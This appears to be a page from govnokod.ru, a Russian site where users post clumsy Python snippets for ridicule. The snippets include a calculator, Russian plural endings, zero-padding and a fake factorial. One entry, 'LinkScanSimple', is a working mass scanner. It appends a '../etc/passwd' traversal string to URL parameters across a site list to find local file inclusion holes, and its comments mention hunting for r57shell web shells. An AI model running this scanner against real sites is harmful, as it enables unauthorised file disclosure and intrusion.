- 1
- 2
import time
print time.ctime(1234567890)
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−346
import time
print time.ctime(1234567890)
Перевод времени из Unix-time формата
−424
#!/usr/bin/python
#LinkScanSimple will take a list of sites and
#add an extension after the = then search the
#source for a match you choose.
#For an LFI scan I use "root:" but for a shell location
#I would choose the shell title (r57shell). For SQL
#you can choose a common sql error.
import sys, re, urllib2, sets, socket
socket.setdefaulttimeout(5)
#---------------------------------------------------------
#Edit what you want added to the address.
EXT = "../../../../../../../../../../../../etc/passwd"
#Edit what you want to search for.
MATCH = "root:"
#---------------------------------------------------------
def parse_urls(links):
urls = []
for link in links:
num = link.count("=")
if num > 0:
for x in xrange(num):
link = link.rsplit("=",x+1)[0]+"="
urls.append(link+EXT)
urls = list(sets.Set(urls))
return urls
def test(host):
print "[+] Testing:",host.replace(EXT,"")
try:
source = urllib2.urlopen(host).read()
if re.search(MATCH, source):
print "[+] Found:",host
else:
print "[-] Not Vuln."
except:
pass
print "\n\t d3hydr8[at]gmail[dot]com LinkScanSimple v1.0"
print "\t-------------------------------------------------\n"
if len(sys.argv) != 2:
print "Usage : ./linkscan.py <site_list>"
print "Ex: ./linkscan.py sites.txt\n"
sys.exit(1)
try:
sites = open(sys.argv[1], "r").readlines()
except(IOError):
print "Error: Check your site list path\n"
sys.exit(1)
print "[+] Loaded:",len(sites),"sites"
urls = parse_urls(sites)
print "[+] Links Found:",len(urls)
for url in urls:
try:
test(url.replace("\n",""))
except(KeyboardInterrupt):
pass
print "\n[-] Scan Complete\n"
−421.8
def myint2str(x, n):
zzeros = '0'
input_string = str(x)
string_len = len(input_string)
for zz in range(1,n-string_len,1):
zzeros = zzeros + '0'
rres = zzeros+str(x)
return rres
Задача: написать функцию которая переводит целое число в строку определённого размера, содержащую это целое число и нули.
То есть:
5 >> 00005
123 >> 00123
Отсюда: http://koldunov.net/?p=194
−327.4
#-*- coding:cp1251 -*-
from Tkinter import *
""" pyCalc by deluxe, thanks to Sanch0
Калькулятор работает только с 2 числами и одним действием над ними."""
# глобальные переменные
x1=''
x2=''
deistvie=''
# функции батонов ввода цифр и запятой
# если действие еще не задано, заполняется х1, а если задано - х2
# и значение переменной отражается на соотв. виджете
def press1():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'1'
lblx1.configure(text=x1)
else:
x2=x2+'1'
lblx2.configure(text=x2)
def press2():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'2'
lblx1.configure(text=x1)
else:
x2=x2+'2'
lblx2.configure(text=x2)
def press3():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'3'
lblx1.configure(text=x1)
else:
x2=x2+'3'
lblx2.configure(text=x2)
def press4():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'4'
lblx1.configure(text=x1)
else:
x2=x2+'4'
lblx2.configure(text=x2)
def press5():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'5'
lblx1.configure(text=x1)
else:
x2=x2+'5'
lblx2.configure(text=x2)
def press6():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'6'
lblx1.configure(text=x1)
else:
x2=x2+'6'
lblx2.configure(text=x2)
def press7():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'7'
lblx1.configure(text=x1)
else:
x2=x2+'7'
lblx2.configure(text=x2)
def press8():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'8'
lblx1.configure(text=x1)
else:
x2=x2+'8'
lblx2.configure(text=x2)
def press9():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'9'
lblx1.configure(text=x1)
else:
x2=x2+'9'
lblx2.configure(text=x2)
def press0():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'0'
lblx1.configure(text=x1)
else:
x2=x2+'0'
lblx2.configure(text=x2)
def pressdot():
global x1, deistvie, x2
if deistvie=='':
x1=x1+'.'
lblx1.configure(text=x1)
else:
x2=x2+'.'
lblx2.configure(text=x2)
−430.2
#начало индусокода
def desyatka(number):
return int(number/10.0)
def edenica(number):
return number-desyatka(number)*10
hours_string=[]
for a in range(0,30):
zzz=""
if edenica(a)<5:
zzz = " часа "
if edenica(a)==1:
zzz = " час "
if desyatka(a)==1:
zzz = " часов "
if edenica(a)==0:
zzz = " часов "
if zzz=="":
zzz=" часов "
hours_string.append(zzz)
minutes_string=[]
for a in range(0,60):
zzz=""
if edenica(a)<5:
zzz = " минуты "
if edenica(a)==1:
zzz = " минута "
if desyatka(a)==1:
zzz = " минут "
if edenica(a)==0:
zzz = " минут "
if zzz=="":
zzz=" минут "
minutes_string.append(zzz)
seconds_string=[]
for a in range(0,60):
zzz=""
if edenica(a)<5:
zzz = " секунды "
if edenica(a)==1:
zzz = " секунда "
if desyatka(a)==1:
zzz = " секунд "
if edenica(a)==0:
zzz = " секунд "
if zzz=="":
zzz=" секунд "
seconds_string.append(zzz)
#конец индусокода
Ф-ии, склоняющие по падежам и временам слова "часов", "минут", секунд
−421
def list2str(lst):
return reduce(lambda x,y:x+y,str(list(lst)).split("]")[0].split("[")[1].split(", "))
Функция, переводящая список в строку
−152.7
#TODO:Сделать функцию факториала
def factorial(n):
return str(n)+"!"
#TODO:Сделать работающую функцию факториала
Видимо человек не знает что такое стандартная библиотека
−229.3
if isinstance(labels, str):
try:
labels = self.vs.get_attribute_values(labels)
except KeyError:
labels = [x+1 for x in xrange(self.vcount())]
elif labels is None:
labels = [""] * self.vcount()
if isinstance(colors, str):
try:
colors = self.vs.get_attribute_values(colors)
except KeyError:
colors = ["red" for x in xrange(self.vcount())]
if isinstance(shapes, str):
try:
shapes = self.vs.get_attribute_values(shapes)
except KeyError:
shapes = [1]*self.vcount()
if isinstance(edge_colors, str):
try:
edge_colors = self.es.get_attribute_values(edge_colors)
except KeyError:
edge_colors = ["black" for x in xrange(self.ecount())]
if not isinstance(font_size, str):
font_size = "%spx" % str(font_size)
else:
if ";" in font_size:
raise ValueError, "font size can't contain a semicolon"
vc = self.vcount()
while len(labels)<vc: labels.append(len(labels)+1)
while len(colors)<vc: colors.append("red")
#.........
for eidx, edge in enumerate(self.es):
#.........
print >>f, " <g transform=\"translate(%.4f,%.4f)\" fill=\"%s\" stroke=\"%s\">" % (x2, y2, edge_colors[eidx], edge_colors[eidx]
Ребята извращались как могли.
[ol]
[li]Заводят параллельно кучу массивов, чтобы в них хранить в них свойства объектов, чтобы затем при обходе списка объектов обратиться к ним по порядковому номеру в списке. Ну это еще можно понять, это просто не ООП[/li]
[li]Демонстрируют умения в инициализации списка из одинаковых элементов несколькими способами[/li]
[li]Влом было искать - еще ставят точки с запятой в конце строк и убедившись, что объект - строка, преобразуют его в строку.[/li]
[/ol]
−229.2
try:
tray.pop_item('Note')
except:
pass
Этот код вытаскивает (вытаскивал) элемент из трея. На каждом кадре. %)
−276.5
text=string.replace(text,"<br>","\n")
text=string.replace(text,"<BR>","\n")
text=string.replace(text,"<Br>","\n")
text=string.replace(text,"<bR>","\n")
Twisted Words, протокол Oscar.
Кусок функции dehtml()